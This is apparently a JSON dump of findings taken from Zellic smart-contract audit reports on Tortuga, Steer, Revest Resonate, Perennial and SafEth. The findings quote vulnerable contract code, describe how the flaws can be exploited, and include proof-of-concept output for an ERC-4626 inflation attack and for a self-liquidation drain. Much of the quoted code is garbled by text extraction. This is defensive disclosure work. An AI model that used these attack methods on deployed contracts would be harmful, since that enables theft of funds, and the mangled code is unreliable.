initialization: spec initialize_tortuga_liquid_staking { ensures exists(signer:)address_of(tortuga)); ensures exists(signer:)address_of(tortuga)); ensures exists(signer:)address_of(tortuga)); ensures exists(signer:)address_of(tortuga)); } Verifies values were mutated: Zellic Move Labs spec set_min_transaction_amount { ensures borrow_global_mut(signer:)address_of(tortuga)).min_transaction_amount =) value; } spec set_cooldown_period { ensures borrow_global_mut(signer:)address_of(tortuga)).cooldown_period =) value; } spec set_reward_commission { ensures borrow_global_mut(signer:)address_of(tortuga)).reward_commission =) value; }", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "4.2 helpers::circular_buffer Verifies the buffer always contains the latest value pushed: spec push { ensures len(old(cbuffer.buffer)) < max_length &) cbuffer.last_index + 1 > len(cbuffer.buffer) ==> contains(cbuffer.buffer, value); } Verifies the empty function returns an empty buffer: spec empty { ensures len(result.buffer) =) 0; ensures result.last_index =) 0; } Verifies the length of cbuffer: spec length { Zellic Move Labs ensures len(cbuffer.buffer) =) result; } Verifies borrow_oldest and round_robin behavior: spec fun helper_round_robin(a: u64, b: u64): u64 { assert!(b > 0 &) a <) b, error:)invalid_argument(EARITHMETIC_ERROR)); if (a < b) { a } else { } } spec round_robin { aborts_if b > 0 |) a <) b; } spec borrow_oldest { /) Verifies behavior about the borrow_oldest function in circular_buffer aborts_if cbuffer.last_index + 1 > len(cbuffer.buffer); aborts_if len(cbuffer.buffer) =) 0; let oldest_index = helper_round_robin(cbuffer.last_index +1, len(cbuffer.buffer)); ensures result =) cbuffer.buffer[oldest_index];", + "labels": [ + "Zellic" + ], + "body": "4.2 helpers::circular_buffer Verifies the buffer always contains the latest value pushed: spec push { ensures len(old(cbuffer.buffer)) < max_length &) cbuffer.last_index + 1 > len(cbuffer.buffer) ==> contains(cbuffer.buffer, value); } Verifies the empty function returns an empty buffer: spec empty { ensures len(result.buffer) =) 0; ensures result.last_index =) 0; } Verifies the length of cbuffer: spec length { Zellic Move Labs ensures len(cbuffer.buffer) =) result; } Verifies borrow_oldest and round_robin behavior: spec fun helper_round_robin(a: u64, b: u64): u64 { assert!(b > 0 &) a <) b, error:)invalid_argument(EARITHMETIC_ERROR)); if (a < b) { a } else { } } spec round_robin { aborts_if b > 0 |) a <) b; } spec borrow_oldest { /) Verifies behavior about the borrow_oldest function in circular_buffer aborts_if cbuffer.last_index + 1 > len(cbuffer.buffer); aborts_if len(cbuffer.buffer) =) 0; let oldest_index = helper_round_robin(cbuffer.last_index +1, len(cbuffer.buffer)); ensures result =) cbuffer.buffer[oldest_index]; }", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "4.3 tortuga::stakedaptoscoin Verifies StakedAptosCoin exists after initialization: spec register_for_t_apt { ensures exists)(signer:)address_of(account)); } Zellic Move Lab", + "labels": [ + "Zellic" + ], + "body": "4.3 tortuga::stakedaptoscoin Verifies StakedAptosCoin exists after initialization: spec register_for_t_apt { ensures exists)(signer:)address_of(account)); } Zellic Move Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Tortuga Liquid Staking - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The _calcSharesAndAmounts rounds amounts used down", + "labels": [ + "Zellic" + ], + "body": "Target: BaseLiquidityManager Category: Coding Mistakes Likelihood: Low Severity: Low : Low The _calcSharesAndAmounts function calculates how much the user should pay and how many shares should be minted for them. In the two branches handling the case of zero tokens of one type, the amount of tokens charged is rounded down when it should be rounded up. function _calcSharesAndAmounts( uint256 amount0Desired, uint256 amount1Desired ) { internal view returns (uint256 shares, uint256 amount0Used, uint256 amount1Used) /) [...))] } else if (total0 =) 0) { shares = FullMath.mulDiv(amount1Desired, _totalSupply, total1); amount1Used = FullMath.mulDiv(shares, total1, _totalSupply); } else if (total1 =) 0) { shares = FullMath.mulDiv(amount0Desired, _totalSupply, total0); amount0Used = FullMath.mulDiv(shares, total0, _totalSupply); } /) [...))] Note that there is equivalent code in SushiBaseLiquidityManager.deposit. The depositing user gains more shares than they should by a rounding error. There is a miniscule chance (if the values all match up) that when the user redeems their Zellic Steer shares, they will gain one more unit of the token than they deposited. Note that the value of one unit of token is insignificant, however, since tokens usually have a large denominator. Round up the amount1Used and amount0Used in the above branches. This issue has been acknowledged by Steer, and a fix was implemented in commit 2986c269. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.2 The strategyCreator is not verified in createVaultAndStrat egy", + "labels": [ + "Zellic" + ], + "body": "Target: SteerPeriphery Category: Business Logic Likelihood: N/A Severity: Informational : N/A In the createVaultAndStrategy, the strategyCreator parameter is not checked and is passed into strategyRegistry.createStrategy. function createVaultAndStrategy( address strategyCreator, string memory name, string memory execBundle, uint128 maxGasCost, uint128 maxGasPerAction, bytes memory params, string memory beaconName, address vaultManager, string memory payloadIpfs ) external payable returns (uint256 tokenId, address newVault) { tokenId = IStrategyRegistry(strategyRegistry).createStrategy( strategyCreator, name, execBundle, maxGasCost, maxGasPerAction ); /) [...))] } The strategyCreator is not subsequently checked in strategyRegistry.createStrate gy. It is possible to create a strategy using someone else\u2019s address, which is not neces- sarily a major concern. Falsifying the strategy creator will lead to the following: Zellic Steer 1. The true creator of the strategy losing control of the strategy, since the NFT is minted to the false creator; and 2. The true creator being unable to collect fees. The vault is empty until someone deposits into the vault. No funds are at risk from a strategy with a false creator. However, it does have the potential for confusion. Consider enforcing the strategy creator to always be msg.sender. However, this is not strictly necessary. Steer provided the following response: Issue 3.2 relates to the verification of the strategyCreator in the createVaultAnd- Strategy function. Our team\u2019s goal is to provide creators with a flexible approach that allows them to generate a strategy from any address and specify the owner of that strategy, whether it is the same address or a different one. To optimize the user experience, our dapp requires that both the vault and strat- egy are created in a single transaction using periphery\u2019s createVaultAndStrategy. To achieve this, we pass the creator as a parameter instead of using msg.sender. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Ability to drain SteerPeriphery of tokens", + "labels": [ + "Zellic" + ], + "body": "Target: SteerPeriphery Category: Coding Mistakes Likelihood: N/A Severity: Informational : N/A This is the _deposit function of SteerPeriphery: function _deposit( address vaultAddress-, uint256 amount0Desired, uint256 amount1Desired, uint256 amount0Min, uint256 amount1Min, address to ) internal returns (uint256) { IMultiPositionManager vaultInstance = IMultiPositionManager( vaultAddress ); IERC20 token0 = IERC20(vaultInstance.token0()); IERC20 token1 = IERC20(vaultInstance.token1()); if (amount0Desired > 0) token0.safeTransferFrom(msg.sender, address(this), amount0Desired); if (amount1Desired > 0) token1.safeTransferFrom(msg.sender, address(this), amount1Desired); token0.approve(vaultAddress, amount0Desired); token1.approve(vaultAddress, amount1Desired); (uint256 share, uint256 amount0, uint256 amount1) = vaultInstance .deposit( amount0Desired, amount1Desired, amount0Min, amount1Min, to ); Zellic Steer if (amount0Desired > amount0) { token0.approve(vaultAddress, 0); token0.safeTransfer(msg.sender, amount0Desired - amount0); } if (amount1Desired > amount1) { token1.approve(vaultAddress, 0); token1.safeTransfer(msg.sender, amount1Desired - amount1); } return share; } Because the vaultAddress parameter is user input, there are a few vectors an attacker could use to drain the contract of the two tokens \u2014 the simplest being passing a mali- cious vault contract that returns 0 for amount0 and amount1 such that the refund trans- fers double the amount0Desired and amount1Desired sent to the contract. Should the contract hold any tokens between transactions, an attacker could poten- tially drain the contract of tokens. Fortunately, this finding has no impact because SteerPeriphery only transiently holds tokens (only within a single transaction). Prominently document that SteerPeriphery should never hold tokens. This issue has been acknowledged by Steer, and a fix was implemented in commit 0e3ed983. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.4 No validation on tokenId in createStrategy", + "labels": [ + "Zellic" + ], + "body": "Target: VaultRegistry Category: Business Logic Likelihood: N/A Severity: Informational : N/A In the createVault function, the _tokenId parameter is passed to _addLinkedVaultsEn umeration without validation: function createVault( bytes memory _params, uint256 _tokenId, string memory _beaconName, address _vaultManager, string memory _payloadIpfs ) external whenNotPaused returns (address) { /) [...))] _addLinkedVaultsEnumeration( _tokenId, address(newVault), _payloadIpfs, _beaconName ); } In the _addLinkedVaultsEnumeration function, the _tokenId is stored without validation in the VaultData struct. function _addLinkedVaultsEnumeration( uint256 _tokenId, address _deployedAddress, string memory _payloadIpfs, string memory _beaconName ) internal { /) Get the current count of how many vaults have been created from this strategy uint256 currentCount = linkedVaultCounts[_tokenId]; /) Using _tokenId and count as map keys, add the vault to the list of linked vaults Zellic Steer linkedVaults[_tokenId][currentCount] = _deployedAddress; /) Increment the count of how many vaults have been created from a given strategy linkedVaultCounts[_tokenId] = currentCount + 1; /) Store any vault specific data via the _deployedAddress vaults[_deployedAddress] = VaultData({ state: VaultState.PendingThreshold, tokenId: _tokenId, /) no validation on _tokenId /) [...))] }); } The VaultData struct that contains the _tokenId is used in getAvailableForTransaction to fetch the RegisteredStrategy struct via strategyRegistry.getRegisteredStrategy( vaultInfo.tokenId). Given a vault with a nonexistent tokenId, this would return a null RegisteredStrategy struct, which would then cause a reversion from require(tx.gasprice <) info.maxG asCost, \u201cGas too expensive.\u201d);. Assert that the strategy token ID is registered. This issue has been acknowledged by Steer, and a fix was implemented in commit b483149a. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Deposits do not check vault type", + "labels": [ + "Zellic" + ], + "body": "Target: SteerPeriphery Category: Coding Mistakes Likelihood: N/A Severity: Informational : N/A The deposit function does not check that the vaultAddress parameter is a valid vault. function deposit( address vaultAddress, uint256 amount0Desired, uint256 amount1Desired, uint256 amount0Min, uint256 amount1Min, address to ) external { _deposit( vaultAddress, /) not checked for validity amount0Desired, amount1Desired, amount0Min, amount1Min, to ); } A deposit could be made to an invalid vault type. Use IVaultRegistry(vaultRegistry).beaconTypes(vault) to ensure the vault was reg- istered properly (i.e., has an associated beacon type). Consider also checking the vault state to ensure that it is approved or pending thresh- old. Zellic Steer This issue has been acknowledged by Steer, and a fix was implemented in commit 077d6836. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Missing twapInterval and maxTickChange validation", + "labels": [ + "Zellic" + ], + "body": "Target: SushiBaseLiquidityManager, BaseLiquidityManager Category: Coding Mistakes Likelihood: N/A Severity: Informational : N/A The initialize functions of the Sushi and Uniswap vault base contracts do not in- clude any assertions to ensure that the twapInterval and maxTickChange parameters are within a reasonable range. A user could unintentionally deploy a pool with parameters that leave it vulnerable to oracle manipulation attacks. Assert that the twapInterval and maxTickChange parameters are within reasonable ranges. This issue has been acknowledged by Steer, and a fix was implemented in commit f2881e83 for the SushiBaseLiquidityManager. A fix was implemented in commits ac11ba56 and f7ceb734 for the BaseLiquidityMana ger. Zellic Steer", + "html_url": "https://github.com/Zellic/publications/blob/master/Steer - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing validation check in createPool can result in loss of user funds", + "labels": [ + "Zellic" + ], + "body": "Target: Resonate Category: Business Logic Likelihood: Medium Severity: Critical : Critical The function createPool(...))) can be called on an already existing pool when add itionalRate > 0 &) lockupPeriod =) 0. The check for a preexisting pool in initPoo l only addresses the case of (lockupPeriod >) MIN_LOCKUP &) additionalRate =) 0) by using the following check require(pools[poolId].lockupPeriod =) 0, 'ER002'). A malicious user could recreate an already existing pool. This would reset the Pool Queue(...))), which tracks the positions in the queue of the consumer and producer If orders. These orders would effectively be taken out of the matching algorithm. the pool had only processed a limited number of orders, the previous orders could easily be overwritten and no longer modified using modifyExistingOrder(...))). Once overwritten, there would be no way to retrieve the funds from the PoolSmartWallet. Expand the require checks in initPool(...))) to the following: function initPool( address asset, address vault, uint80 rate, uint80 _additional_rate, uint32 lockupPeriod, uint packetSize ) private returns (bytes32 poolId) { poolId = getPoolId(asset, vault, rate, _additional_rate, lockupPeriod, packetSize); Zellic Revest Finance require(pools[poolId].lockupPeriod =) 0 &) pools[poolId]. addInterestRate =) 0, 'ER002'); This finding was remediated by Revest in commit f19896868dd2be5c745c66d9d75219f6 b04a593c. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Failure to cancel orders in modifyExistingOrder", + "labels": [ + "Zellic" + ], + "body": "Target: Resonate Category: Business Logic Likelihood: Medium Severity: Medium : Medium Producers are not able to cancel and recover funds on queued orders using modify ExistingOrder(...))) for cross-asset pools. Calling submitProducer(...))) always sets shouldFarm = false and order.depositedShares > 0 using the oracle price: if(shouldFarm) { IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); order.depositedShares = IERC4626(vaultAdapter).deposit(amount, getAddressForPool(poolId)) / order.packetsRemaining; } else { IERC20(asset).safeTransferFrom(msg.sender, getAddressForPool(poolId), amount); } However, modifyExistingOrder(...))) has missing checks and assumes the orders were deposited in the vault asset instead of the pool asset: if (order.depositedShares > 0) { getWalletForPool(poolId).withdrawFromVault(amountTokens, msg.sender, vaultAdapters[pool.vault]); } else { getWalletForPool(poolId).withdraw(amountTokens, pool.asset, msg. sender); } The attempt to withdraw from the vault asset from the pool wallet will fail. Fortunately, there are no vault assets in the pool wallet to exploit because all vault assets are sent to the FNFT wallet (ResonateSmartWallet) when orders are matched. However, a producer would not be able to retreive the funds of their order. It should be noted that attempting to fix this bug by only directing modifyExistingO rder(...))) to retreive the pool asset instead of the vault asset will result in a critical exploit. This is because submitProducer(...))) accounts for the price of the vault asset while modifyExisitngOrder(...))) does not. Zellic Revest Finance For example, the producer deposits amount of pool assets and gets credited packets equal to amount/ producerPacket: ...)) sharesPerPacket = IOracleDispatch(oracleDispatch[vaultAsset][pool.asset]) .getValueOfAsset(vaultAsset, pool.asset, true); producerPacket = getAmountPaymentAsset(pool.rate * pool.packetSize/ PRECISION, sharesPerPacket, vaultAsset, vaultAsset); ...)) producerOrder = Order(uint112(amount/ producerPacket), sharesPerPacket, msg.sender.fillLast12Bytes()); Through getAmountPaymentAsset(...))) the producerPacket scales linearly with the vault price. However, if the producer tries to later modify their order, there is no adjustment from the number of packets to the amount of pool asset: ...)) if (isProvider) { providerQueue[poolId][position].packetsRemaining -= amount; } else { consumerQueue[poolId][position].packetsRemaining -= amount; } ...)) uint amountTokens = isProvider ? amount * pool.packetSize * pool.rate / PRECISION : amount * pool.packetSize; If vault price > 1 the producer will not be refunded a sufficient amount of assets for the reduction in packets. This is because submitProducer(...))) scales down the packets by the vault price, while modifyExistingOrder(...))) does not commensurately scale up the amount of pool asset per packet. If vault price < 1 the producer will be refunded an excessive amount of assets for the reduction in packets. This is because submitProducer(...))) scales up the packets by the vault price, while modifyExistingOrder(...))) does not commensurately scale down the amount of pool asset per packet. Order cancelling for producers would be nonoperational. Zellic Revest Finance The following changes should be made to modifyExistingOrder(...))): (1) withdrawl the pool asset for cross-asset producer orders and (2) use the price of the vault asset at the time the order was submitted to correctly calculate amountTokens. This finding was remediated by Revest in commit fc3d96d91d7d8c5ef4a65a202cad18a3 e86a3d09. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Failed approval check in calculateAndClaimInterest", + "labels": [ + "Zellic" + ], + "body": "Target: ResonateSmartWallet Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The allowance check for token transfer approval always fails in calculateAndClaimIn terest(...))): ) public override onlyMaster returns (uint interest, uint sharesRedeemed) { IERC4626 vault = IERC4626(vaultAdapter); if(IERC20(vaultToken).allowance(address(this), vaultAdapter) < interest) { IERC20(vaultToken).approve(vaultAdapter, type(uint).max); } The if statement will always fail because interest has not been initialized from zero. Minimal - other functions in ResonateSmartWallet will be called that also set the token transfer approval to max. In the worst case scenario, the very first producer order will be delayed in claiming interest until the first consumer order reclaims their principal. Change interest to totalShares in the if control statement. This finding was remediated by Revest in commit 6b1b81f6c0310297f5b6cd9a258b99e4 3c61b092. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Incorrect asset tracking in modifyExistingOrder", + "labels": [ + "Zellic" + ], + "body": "Target: Resonate Category: Business Logic Likelihood: High Severity: Critical : Critical For cross-asset pools, calling submit submitProducer(...))) always sets shouldFarm = false and order.depositedShares > 0 using the oracle price. Orders are then en- queued with the pool asset: if(shouldFarm) { IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); order.depositedShares = IERC4626(vaultAdapter).deposit(amount, getAddressForPool(poolId)) / order.packetsRemaining; } else { IERC20(asset).safeTransferFrom(msg.sender, getAddressForPool(poolId), amount); } However, modifyExistingOrder(...))) has missing checks and assumes the orders were deposited in the vault asset: if (order.depositedShares > 0) { getWalletForPool(poolId).withdrawFromVault(amountTokens, msg.sender, vaultAdapters[pool.vault]); } else { getWalletForPool(poolId).withdraw(amountTokens, pool.asset, msg. sender); } An attacker could spam submitProducer(...))) and modifyExistingOrder(...))) to con- vert pool assets to vault assets at a rate of 1:1. This could be financially lucrative as there are no ways to shut down the protocol or pull other users funds. It would also disrupt of the balance of the cross-asset pair and hence the potential operation of the pool. Zellic Revest Finance Include logic to enure the vault and pool assets are correctly tracked in cross asset pools. Revest has implemented the following solution in committ 00000000000: if (order.depositedShares > 0 && IERC4626(vaultAdapters[pool.vault]). asset() == pool.asset) We find their remediation adequately addresses the concerns of this finding. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Missing validation check in proxyCall filter can allow dan- gerous calls", + "labels": [ + "Zellic" + ], + "body": "Target: ResonateSmartWallet Category: Business Logic Likelihood: Low Severity: Low : Low The proxyCall function has checks to ensure no calls made to it result in a decrease of capital. However, it has incomplete checks to ensure there are no calls made that could result in a future decrease of capital. For example, it currently includes a filter for approve but none for newer functions like increaseAllowance. The proxyCall function can only be called by the sandwich bot. In the case of a com- promise or a security incident involving keys, the lack of the requisite checks could result in a loss of funds. We recommend adding a check for the increaseAllowance function selector. The use of an adjustable white list or black list to control allowed functions would pro- vide additional flexibility for unforseen risky functions. The management of the white list/black list should be delegated to another administrative account to limit central- ization risk. Revest has indicated this will be resolved at deployment-time by modifying the deployment- script to include the increaseAllowance function signature. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Centralization risk", + "labels": [ + "Zellic" + ], + "body": "Target: Project Wide Category: Business Logic Likelihood: N/A Severity: Low : Low At the end of deployment and configuration of the AddressLockProxy, OutputRe- ceiverProxy, ResonateHelper, and Resonate, ownership is primarily concentrated in a single account. However, a specially designated sandwich bot is able to access the proxyCall(...))) and sandwichSnapshot functions in the ResonateHelper. These func- tions cannot move funds outside of the system but can move the location of funds within the system for the purpose of snapshot voting. When new pools are added to resonate they are created along with their own ResonateSmartWallet and PoolS- martWallet contracts. These wallets can only be accessed by Resonate. There are no owners of the ERC4626 adapters used to interface between Resonate and the vaults. In general, the owner of Resonate cannot stop the protocol or withdraw funds other than through regular use of the protocol. However, they are in control of the address of the oracle. By manipulating the price of the oracle they could grossly inflate the number of packets a producer order is entitled to and profit from matches with con- sumer orders (more in the discussion on oracle risk). The protocol relies heavily on the proper functioning of several external vaults. Under the current scope of this audit these include Aave and Yearn. Compromise of these vaults could break the system and result in loss of funds. This is viewed as an accept- able and necessary risk. Resonate also relies on several key contracts in the Revest ecosystem. These include a registry that returns the address of Revest and the FNFT Handler. Compromise of this registry could direct Resonate to interact with compromised contracts. Furthermore, compromise of Revest or the FNFT handler could break the protocol or result in loss of funds. For example, Revest is responsible for calling critical functions in Resonate for claiming interest and principal. The burning of FNFTs is handled by Revest, and the FNFT handler and its compromise could potentially result in repeated claiming of interest and/or principal. Control of Resonate is heavily concentrated in a single account; however, compro- mise of this account presents limited vectors for exploitation. A compromised owner account could alter the price oracle to one in their control and use this to exploit the Zellic Revest Finance system for financial gain. The compromise of the sandwich bot could result in abuse of proxyCall and sandwic hSnapshot, which could disrupt the proper functioning of the protocol. The use of a multisignature address wallet can prevent an attacker from causing eco- nomic damage in the event a private key is compromised. Timelocks can also be used to catch malicious executions. It should be verified that this practice is being followed for not just the core Resonate contracts (including the sandwich bot) but also the other contracts it interacts with listed above. The oracle should be carefully set to a trusted source such as ChainLink or an alter- native that uses a sufficiently long TWAP. Care needs to be taken in ensuring the price oracle cannot be manipulated through flash loans or other means of attack. Revest has provided a highly detailed response which adequately addresses our con- cerns around the access management of critical contracts. Their procedures for man- aging centralization risk include the following: Resonate will use, at a minimum, a 3 of 5 multisig. No more than a simple ma- jority will be core team members, the remainder will be drawn from the com- munity. The members of the Resonate multisig will have no more than two members overlapping with the Revest multisig. Sandwich bot access will initially align with Resonate access. Revest currently uses a 3 of 7 mutlisig. This will be upgraded to a 4 of 7 soon. The registry is currently controlled by a multisig. A multisig will be used to control the oracle systems. The FNFT handler is immutable. An individual will posesses no more than one key on a given multisig. In gen- eral the use of hardware wallets is either mandated (Resonate) or encouoraged (Revest, non-officers). As progressive decentralization occurs, control over many of the contracts in the Revest-Resonate ecosystem will be migrated to intermediary contracts/DAOs. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Resonate Pt. 1 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 ERC-4626 inflation attack on Vault", + "labels": [ + "Zellic" + ], + "body": "Target: Vault.sol Category: Business Logic Likelihood: High Severity: Critical : Critical Vault is vulnerable to an ERC-4626\u2013style inflation attack. In accordance with ERC-4626, Vault is a vault that holds assets on behalf of its users, and whenever a user deposits assets, it issues to the user a number of shares such that the proportion of the user\u2019s shares over the total issued shares is equal to the user\u2019s assets over the total withdrawable assets. This allows assets gained by Vault to increase the value of every user\u2019s shares in a proportional way. ERC-4626 vaults are susceptible to inflation attacks; however, an attacker can \u201cdo- nate\u201d funds to the vault without depositing them, increasing the value of a share un- expectedly. In some circumstances, including when an unsuspecting user is the first depositor, an attacker can make back more than they donated, stealing value from the first depositor. We created a proof of concept (POC) for this bug (section 7.1). In this POC, a vault is empty (has no coin balance and zero issued shares), and then a benign user submits a transaction depositing 1,000 coins to the mempool. Before the deposit transaction is mined, an attacker front-runs it with an earlier trans- action, which deposits 0.000001 coins and then donates 1,000 coins to the vault. After this, the attacker has one share and the vault has 1,000.000001 coins. Then, the user\u2019s deposit transaction is mined. After the user\u2019s deposit, the vault has 2,000.000001 coins, of which 1,000 was just deposited by the user. Since shares are now worth 1,000.0000005 coins after the attacker\u2019s front-run transactions, the user is given less than one share, which the vault rounds to zero. Finally, the attacker, with their one share that represents all the issued shares, with- draws all of the assets, stealing the user\u2019s coins. An excerpt of the POC output is shown below: Zellic Equilibria start ---)) state ---)) user shares: 0 user balance: 100000.0 attacker shares: 0 attacker balance: 100000.0 ------------- user signs tx depositing 1000, tx in mempool seen by attacker attacker frontruns with a deposit of 0.000001 and a donation of 1000 ---)) state ---)) user shares: 0 user balance: 100000.0 attacker shares: 1 attacker balance: 98999.999999 ------------- user deposit of 1000 occurs ---)) state ---)) user shares: 0 user balance: 99000.0 attacker shares: 1 attacker balance: 98999.999999 ------------- attacker withdraws all coins ---)) state ---)) user shares: 0 user balance: 99000.0 attacker shares: 0 attacker balance: 101000.08684 ------------- Please see Github issue #3706 in OpenZeppelin for discussion about how to mitigate this vulnerability. Zellic Equilibria In short, the first deposit to a new Vault could be made by a trusted admin during Vault construction to ensure that totalSupply remains greater than zero. However, this remediation has the drawback that this deposit is essentially locked, and it needs to be high enough relative to the first few legitimate deposits such that front-running them is unprofitable. Even if this prevents the attack from being profitable, an attacker can still grief legitimate deposits with donations, making the user gain less shares than they should have gained. Another solution is to track totalAssets internally, by recording the assets gained through its Market positions and not increasing it when donations occur. This makes the attack significantly harder, since the attacker would have to donate funds by af- fecting price feeds for the underlying assets rather than just sending tokens to the Vault. This finding was acknowledged and a fix was implemented in commit a1b8140e. Zellic Equilibria", + "html_url": "https://github.com/Zellic/publications/blob/master/Perennial - Zellic Audit Report.pdf" + }, + { + "title": "3.2 High-volatility ticks can cause bank run due to negative liq- uidations", + "labels": [ + "Zellic" + ], + "body": "Target: Market.sol Category: Business Logic Likelihood: Low Severity: High : High The liquidation mechanism in Market.sol calculates the maintenance (minimum col- lateral) and liquidation fee for a given position as follows: function liquidationFee( Position memory self, OracleVersion memory latestVersion, RiskParameter memory riskParameter ) internal pure returns (UFixed6) { return maintenance(self, latestVersion, riskParameter) .mul(riskParameter.liquidationFee) .min(riskParameter.maxLiquidationFee) .max(riskParameter.minLiquidationFee); } function maintenance( Position memory self, OracleVersion memory latestVersion, RiskParameter memory riskParameter ) internal pure returns (UFixed6) { if (magnitude(self).isZero()) return UFixed6Lib.ZERO; return magnitude(self) .mul(latestVersion.price.abs()) .mul(riskParameter.maintenance) .max(riskParameter.minMaintenance); } Since the liquidation fee is not constrained to be less than the collateral, a high- volatility tick can cause the liquidation fee to exceed the deposited collateral. When this happens, the liquidation itself will cause the position to end with negative col- lateral. So, if a user opens a position with collateral very close to maintenance, the position can then be self-liquidated for more than the deposited collateral following Zellic Equilibria a volatile tick. We created a proof of concept (POC) for this bug (section 7.2). In this POC, we demon- strate a scenario where the first depositor can self-liquidate the position for more than their deposit, effectively stealing other users\u2019 funds and making the market insolvent. An excerpt of the POC output is shown below: User deposits collateral Deposited collateral: 1000000000 Volatile click changes price to 1.5 Position liquidated collateral after liquidation: -1001000000 token earned by liquidator: 1001000000 attack successful It is to be noted that although an organic bank run scenario is possible, it does require a fairly volatile tick from the oracle under appropriate tuning parameters. For example, for a power two oracle with riskParameter.liquidationFee = 0.5, we would need a 48% price change between two subsequent oracle ticks. With risk Parameter.liquidationFee = 0.7, the required volatility is 18%. These values, while feasible, are still rare in practice. There are two other possible exploitation scenarios. 1. It may be used as a backdoor by a malicious oracle operator to drain the market relying on it. 2. It may lead to a malicious user trying to intentionally exploit this as an infinite money glitch by opening a number of positions and self-liquidating them. How- ever, such a user would need to anticipate an incoming volatile tick. A permanent fix would require liquidations to be capped at the total deposited assets of a user. However, the current Perennial design does not track the total deposit for Zellic Equilibria an account, so implementing that would require a considerable amount of rewrites. For now, this possibility should be minimized via appropriate parameter tuning on a per-market level. This issue has been acknowledged by Equilibria. Zellic Equilibria", + "html_url": "https://github.com/Zellic/publications/blob/master/Perennial - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Markets missing slippage protection", + "labels": [ + "Zellic" + ], + "body": "Target: Market.sol Category: Business Logic Likelihood: Medium Severity: Medium : Medium Since the markets have delayed settlements to mitigate arbitrage, the positions opened by users are settled at a later price. Under normal circumstances, the dif- ference in price between when a position is opened and when it is settled should be fairly small. However, volatility in the price feed can cause unexpected fluctuations. Preventing unexpected losses requires a slippage-protection mechanism. Users may lose funds due to unexpected volatility given the lack of a slippage- protection mechanism. Slippage protection could be implemented at the oracle-level. While making a version invalid might be difficult, one simple way to handle it would be to cancel trades if the price difference between two versions exceeds a certain threshold. Adding an additional unsafe flag that users can set would keep it usable for users who want to bypass this protection. This issue has been acknowledged by Equilibria. Zellic Equilibria", + "html_url": "https://github.com/Zellic/publications/blob/master/Perennial - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Reentrancy in MultiInvoker due to calls to unauthenticated contracts", + "labels": [ + "Zellic" + ], + "body": "Target: MultiInvoker.sol Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The MultiInvoker is a contract that allows end users to atomically compose several Market and Vault calls into a single transaction, saving gas and ensuring safety because the user can be assured that no other transactions can run between their sequence of transactions. In order to do this, it makes external calls to other contracts, including Market, Vault, and DSU. However, there is no check in MultiInvoker that the addresses supplied are valid contracts registered with their respective factories. MultiInvoker can be called with arbitrary contracts, which can lead to unexpected reentrancy behavior. MultiInvoker should check the provided market or vault address against MarketFac- tory/VaultFactory respectively to verify that it is a valid instance. This finding was acknowledged and a fix was implemented in commit fa7e1c09 with the addition of the following two modifiers: ///)) @notice Target market must be created by MarketFactory modifier isMarketInstance(IMarket market) { if(!marketFactory.instances(market)) revert MultiInvokerInvalidInstanceError(); _; } ///)) @notice Target vault must be created by VaultFactory modifier isVaultInstance(IVault vault) { Zellic Equilibria if(!vaultFactory.instances(vault)) revert MultiInvokerInvalidInstanceError(); _; } Zellic Equilibria", + "html_url": "https://github.com/Zellic/publications/blob/master/Perennial - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Reentrancy in withdrawEth", + "labels": [ + "Zellic" + ], + "body": "Target: SafEth Category: Coding Mistakes Likelihood: Low Severity: Medium : Medium SafEth supports preminting, where the owner of the contract can stake some ETH and create a supply of SafEth. Staking into this supply is significantly cheaper (in gas) than exchanging every derivative. Whenever a user tries to stake an amount less than what is preminted, the input ETH will go to the SafEth contract and the user is instead given SafEth from the preminted supply, and the contract\u2019s ethToClaim will increase. The contract owner has access to a function that withdraws the ETH used to premint SafEth. function withdrawEth() external onlyOwner { /) solhint-disable-next-line (bool sent, ) = address(msg.sender).call{value: ethToClaim}(\u201d\u201d); if (!sent) revert FailedToSend(); ethToClaim = 0; } This function lacks a reentrancy check and only resets the ethToClaim when the func- tion ends. If the owner is compromised and replaced with a contract that reenters on payment, it is possible to extract all the ETH residing in the contract. However, the only current way to add ETH directly to the SafEth contract is through the premint staking mechanism. From the code pattern of tracking ethToClaim, it is clear that the intention is not to withdraw all the ETH in the contract through this function. A compromised owner can empty the ETH balance of SafEth. Currently this is less of a problem because ETH rarely resides in the contract outside of the intended 